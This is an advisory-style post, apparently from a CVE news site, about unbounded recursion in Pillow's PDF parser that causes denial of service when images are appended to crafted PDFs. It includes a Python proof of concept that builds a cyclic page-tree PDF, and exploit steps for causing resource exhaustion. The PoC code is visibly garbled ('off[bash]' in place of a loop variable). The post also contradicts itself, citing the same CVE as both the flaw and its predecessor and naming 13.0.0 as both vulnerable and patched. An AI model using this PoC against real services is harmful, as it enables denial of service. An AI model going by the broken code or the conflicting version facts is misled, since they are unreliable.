Pillow, Unbounded Recursion, CVE-2026-42310 (Medium) -DC-Oct2026-3495

Listen to this Post

When an application appends an image to an existing PDF file using Image.save with format set to PDF and append=True, the Pillow library processes the file utilizing PdfParser.
Inside PdfParser, two recursive parser functions lack proper bounds or effective limits, enabling malformed or malicious PDF structures to trigger severe resource exhaustion.
Specifically, the linearize_page_tree function recursively follows page tree nodes through the /Kids key without maintaining any visited set or depth limit.
Because of this missing safeguard, a cyclic page tree or a duplicated page tree structure causes the function to recurse infinitely or produce excessive work.
Similarly, the read_prev_trailer function attempts to locate and parse previous trailer offsets but only rejects an exactly repeated /Prev offset value.
Consequently, a long chain consisting of unique offsets can bypass this single-check guard and still trigger recursive parsing of trailers.
The trailer-loop guard that was originally introduced as a fix for CVE-2026-42310 fails to cover either the cyclic /Kids tree case or the unique-offset chain.
An attacker can exploit this weakness by supplying a small crafted PDF containing recursive page references or unique-offset trailer chains.
When processed, the application enters uncaught recursion or burns excessive CPU and memory before any image data is actually written to the file.
This flaw serves as a direct follow-up to CVE-2026-42310, demonstrating that partial fixes checking only exact repeated offsets are insufficient.
Because Python policies discourage raising plain Python exceptions as denial of service vulnerabilities, the focus must be on resource exhaustion.
Cyclic page trees burn CPU cycles and memory rather than solely raising standard recursion depth errors during parsing operations.
Proper mitigation requires implementing both a visited set tracking mechanism and a strict depth limit across both parsers.

DailyCVE Form:

Platform: Python Pillow Library
Version: Up to 13.0.0
Vulnerability : Unbounded PDF Recursion
Severity: Medium Severity
date: October 2026

Prediction: Patched Version 13.0.0

What Undercode Say:

python 11_poc.py
from PIL import PdfParser
objs = {
1: b"<< /Type /Catalog /Pages 2 0 R >>",
2: b"<< /Type /Pages /Kids [3 0 R] /Count 1 >>",
3: b"<< /Type /Pages /Kids [2 0 R] /Count 1 >>",
}
buf = bytearray(b"%PDF-1.4\n")
off = {}
for oid in (1, 2, 3):
off[bash] = len(buf)
buf += b"%d 0 obj\n" % oid + objs[bash] + b"\nendobj\n"
xref = len(buf)
buf += b"xref\n0 4\n0000000000 65535 f \n"
buf += b"".join(b"%010d 00000 n \n" % off[bash] for o in (1, 2, 3))
buf += b"trailer\n<< /Root 1 0 R /Size 4 >>\nstartxref\n%d\n%%%%EOF\n" % xref
open("poc.pdf", "wb").write(buf)
PdfParser.PdfParser("poc.pdf", mode="r+b")

Exploit: (Educational Purposes!)

An attacker constructs a malicious 315-byte PDF file containing cyclic page references where /Pages nodes reference each other in a loop, such as node 2 pointing to node 3 and node 3 pointing back to node 2. When an application invokes Image.save with append=True on this crafted file, PdfParser parses the structure via linearize_page_tree without any depth check or visited set. This leads to infinite recursion or massive super-linear CPU and memory consumption. Additionally, a long chain of unique /Prev offsets can bypass the existing single-offset check in read_prev_trailer, triggering deep trailer-side recursion and causing a complete denial of service before any image data is written.

Protection: from this CVE

The vulnerability can be fully mitigated by implementing a robust visited set tracking mechanism combined with a strict recursion depth limit inside both linearize_page_tree and read_prev_trailer functions within src/PIL/PdfParser.py. Developers should update their Pillow package to version 13.0.0 or later where these comprehensive bounds are enforced. Furthermore, applications handling untrusted user-supplied PDF files for appending, watermarking, or stamping should sanitize input files, enforce strict parsing timeouts, and catch recursion or resource exhaustion exceptions gracefully to prevent service disruption.

Impact:

A service or application that appends images to user-supplied PDF files—such as automated document stamping, batch watermarking pipelines, or PDF processing microservices—can be easily forced into uncaught recursion, process hangs, or heavy CPU and memory resource exhaustion. Because this flaw allows attackers to trigger massive resource consumption before writing any image data, it results in an effective Denial of Service (DoS), rendering the underlying application unresponsive and disrupting business operations.

🎯Let’s Practice Exploiting & Learn Patching For Free:

🎓 Live Courses & Certifications:

Join Undercode Academy for Verified Certifications

🚀 Request a Custom Project:

Secure, high-velocity infrastructure and disruptive technological engineering. Contact our engineering team for high-tier development and proprietary systems:
[email protected]
💎 Smart Architecture | 🛡️ Secure by Design | ⭐ Trusted by Thousands

Sources:

Reported By: github.com
Extra Source Hub:
Undercode

🔐JOIN OUR CYBER WORLD [ CVE News • HackMonitor • UndercodeNews ]

💬 Whatsapp | 💬 Telegram

📢 Follow DailyCVE & Stay Tuned:

𝕏 formerly Twitter 🐦 | @ Threads | 🔗 Linkedin Featured Image

Scroll to Top